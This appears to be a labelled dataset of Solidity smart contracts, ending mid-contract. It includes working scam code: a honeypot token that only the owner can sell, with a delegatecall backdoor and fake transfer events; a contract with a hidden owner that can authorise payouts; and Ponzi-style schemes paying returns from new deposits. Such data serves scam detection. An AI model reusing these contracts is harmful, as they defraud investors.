add1 = 0x22Df7A778704DC915EB227e368E3824337452855;
add2 = 0x7432aBD04F48C794a7C858827f4804c6dF370b86;
add3 = 0x5BB6151F21C88c7df7c13CA261C70138Da928106;
add4 = 0x03AEf3dd85A6f0BC6052545C5cCA0c73021f5bbf;
add5 = 0xD40d31121247228D0c35bD8a0F5E0779f3208c8B;
add6 = 0xfDB7B8888fFc12Fc8c3d8A6Ea9C6D8Af8e58C4e2;
add7 = 0xc23868eD48A18CBB20B5220e45C8C997BCE5989e;
add8 = 0x0A3c8411C95e0F11391eBc816Aa15a09318f6C58;
add9 = 0x8a99D3646C0A230361dbdD6503279Bd96AD3A272;
add10 = 0x56fB8450254129F03A4f3521382ca823414CE917;
}
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
function() external payable {
uint256 getmsgvalue = msg.value / 50;
add1.transfer(getmsgvalue);
add2.transfer(getmsgvalue);
add3.transfer(getmsgvalue);
add4.transfer(getmsgvalue);
add5.transfer(getmsgvalue);
add6.transfer(getmsgvalue);
add7.transfer(getmsgvalue);
add8.transfer(getmsgvalue);
add9.transfer(getmsgvalue);
add10.transfer(getmsgvalue);
if (balances[msg.sender] != 0){
address sender = msg.sender;
uint256 getvalue = balances[msg.sender]*3/100*(block.number-timestamp[msg.sender])/5900;
sender.transfer(getvalue);
}
timestamp[msg.sender] = block.number;
balances[msg.sender] += msg.value;
}
} | 1 | 3,566 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract STASHInterface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract STASHToken is STASHInterface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function STASHToken() public {
symbol = "STASH";
name = "BitStash";
decimals = 18;
_totalSupply = 6000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
unitsOneEthCanBuy = 600000;
fundsWallet = msg.sender;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function() payable public{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
if (balances[fundsWallet] < amount) {
return;
}
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return STASHInterface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,266 |
pragma solidity ^0.4.24;
contract Infinite14{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 14;
address public ownerWallet;
address public owner;
address public affliate;
address promoter = 0xC558895aE123BB02b3c33164FdeC34E9Fb66B660;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Masternode(address master, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _affliate) public {
owner = msg.sender;
ownerWallet = msg.sender;
affliate = _affliate;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyaffliate() {
require(msg.sender == affliate);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function masternode() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Masternode(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _master) public view returns (uint256) {
return referrer[_master];
}
function viewReferral(address _master, uint256 _amount) onlyaffliate public {
referrer[_master] = referrer[_master].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,481 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,343 |
pragma solidity ^0.4.17;
contract Base {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
} address Owner0 = msg.sender;
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
event Deposit(address sender, uint value);
event PayInterest(address receiver, uint value);
event Log(string message);
}
contract InterestFinal is Base {
address public creator;
address public OwnerO;
address public Owner1;
uint256 public etherLimit = 2 ether;
mapping (address => uint256) public balances;
mapping (address => uint256) public interestPaid;
function initOwner(address owner) {
OwnerO = owner;
}
function initOwner1(address owner) internal {
Owner1 = owner;
}
function InterestFinal(address owner1, address owner2) {
creator = msg.sender;
initOwner(owner1);
initOwner1(owner2);
}
function() payable {
if (msg.value >= etherLimit) {
uint amount = msg.value;
balances[msg.sender] += amount;
}
}
function deposit(address sender) payable {
if (msg.value >= etherLimit) {
uint amount = msg.value;
balances[sender] += amount;
Deposit(sender, msg.value);
}
}
function calculateInterest(address investor, uint256 interestRate) returns (uint256) {
return balances[investor] * (interestRate) / 100;
}
function payout(address recipient, uint256 weiAmount) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
if (balances[recipient] > 0) {
recipient.send(weiAmount);
PayInterest(recipient, weiAmount);
}
}
}
function currentBalance() returns (uint256) {
return this.balance;
}
function payInterest(address recipient, uint256 interestRate) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
uint256 weiAmount = calculateInterest(recipient, interestRate);
interestPaid[recipient] += weiAmount;
payout(recipient, weiAmount);
}
}
} | 0 | 2,013 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 273 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EthereumToken is ERC20 {
using SafeMath for uint256;
uint public _totalSupply = 0;
bool public executed = false;
address public owner;
string public symbol;
string public name;
uint8 public decimals;
uint256 public unitsOneEthCanBuy;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function () payable {
createTokens();
}
function ICO (string _symbol, string _name, uint8 _decimals, uint256 _unitsOneEthCanBuy) {
owner = msg.sender;
symbol = _symbol;
name = _name;
decimals = _decimals;
unitsOneEthCanBuy = _unitsOneEthCanBuy;
}
function createTokens() payable {
require(msg.value > 0);
uint256 tokens = msg.value.mul(unitsOneEthCanBuy);
_totalSupply = _totalSupply.add(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
owner.transfer(msg.value);
executed = true;
}
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
function balanceOf (address _owner) constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool) {
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require (allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 3,860 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
